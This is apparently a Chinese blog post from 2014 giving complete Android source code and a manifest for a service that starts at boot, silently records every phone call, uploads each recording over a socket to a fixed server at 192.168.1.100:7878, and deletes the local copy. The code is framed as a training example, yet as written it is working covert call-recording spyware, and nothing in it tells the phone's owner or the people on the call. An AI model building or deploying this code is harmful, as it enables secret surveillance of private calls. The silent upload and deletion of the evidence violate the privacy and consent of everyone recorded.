服务





public class PhoneService extends Service {

    @Override
    public IBinder onBind(Intent intent) {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();
        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);//创建电话管理器
        telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);//为电话管理器设置电话监听器和监听的状态
    }
    
    private final class PhoneListener extends PhoneStateListener{
        private String incomingNumber;
        private File file;
        private MediaRecorder mediaRecorder;
        
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_RINGING://来电
                    this.incomingNumber = incomingNumber;
                    break;

                case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
                    file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");
                    mediaRecorder = new MediaRecorder();//创建录音的实例
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置录制麦的音
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置文件输出格式
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置音频编码
                    mediaRecorder.setOutputFile(file.getAbsolutePath());//设置文件输出路径
                    mediaRecorder.prepare();//准备录音
                    mediaRecorder.start();//开始录音
                    break;
                    
                case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
                    if(mediaRecorder != null){
                        mediaRecorder.stop();//停止录音
                        mediaRecorder.release();//释放录音对象
                        mediaRecorder = null;
                        uploadFile(); //上传录音文件
                    }
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        private void uploadFile() {
            new Thread(new Runnable() {                
                public void run() {
                    try {
                        if(file!=null && file.exists()){
                            Socket socket = new Socket("192.168.1.100", 7878);
                            OutputStream outStream = socket.getOutputStream();
                            String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                            outStream.write(head.getBytes());
                            
                            PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());    
                            String response = StreamTool.readLine(inStream);
                            String[] items = response.split(";");
                            String position = items[1].substring(items[1].indexOf("=")+1);
                            
                            RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
                            fileOutStream.seek(Integer.valueOf(position));
                            byte[] buffer = new byte[1024];
                            int len = -1;
                            while( (len = fileOutStream.read(buffer)) != -1){
                                outStream.write(buffer, 0, len);
                            }
                            fileOutStream.close();
                            outStream.close();
                            inStream.close();
                            socket.close();
                            file.delete();
                            file = null;
                        }
                    } catch (Exception e) {                    
                        e.printStackTrace();
                    }
                }
            }).start();
        }        
    }
}

 

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="cn.itcast.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />

    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        
        <!-- 配置服务 -->
        <service android:name=".PhoneService"/>
        
        <!-- 配置广播接收者 -->
        <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- 在SDCard中创建与删除文件权限 -->
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<!-- 往SDCard写入数据权限 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 <!-- 访问internet权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<!-- 录音的权限-->
<uses-permission android:name="android.permission.RECORD_AUDIO"/>          
</manifest>
public class BootBroadcastReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        //在开机的时候显示启动服务
        Intent service = new Intent(context, PhoneService.class);//显式/隐式
        context.startService(service);//Intent激活组件(Service)
    }

}

 

posted @ 2014-01-11 21:18  天之涯0204  阅读(322)  评论(0编辑  收藏  举报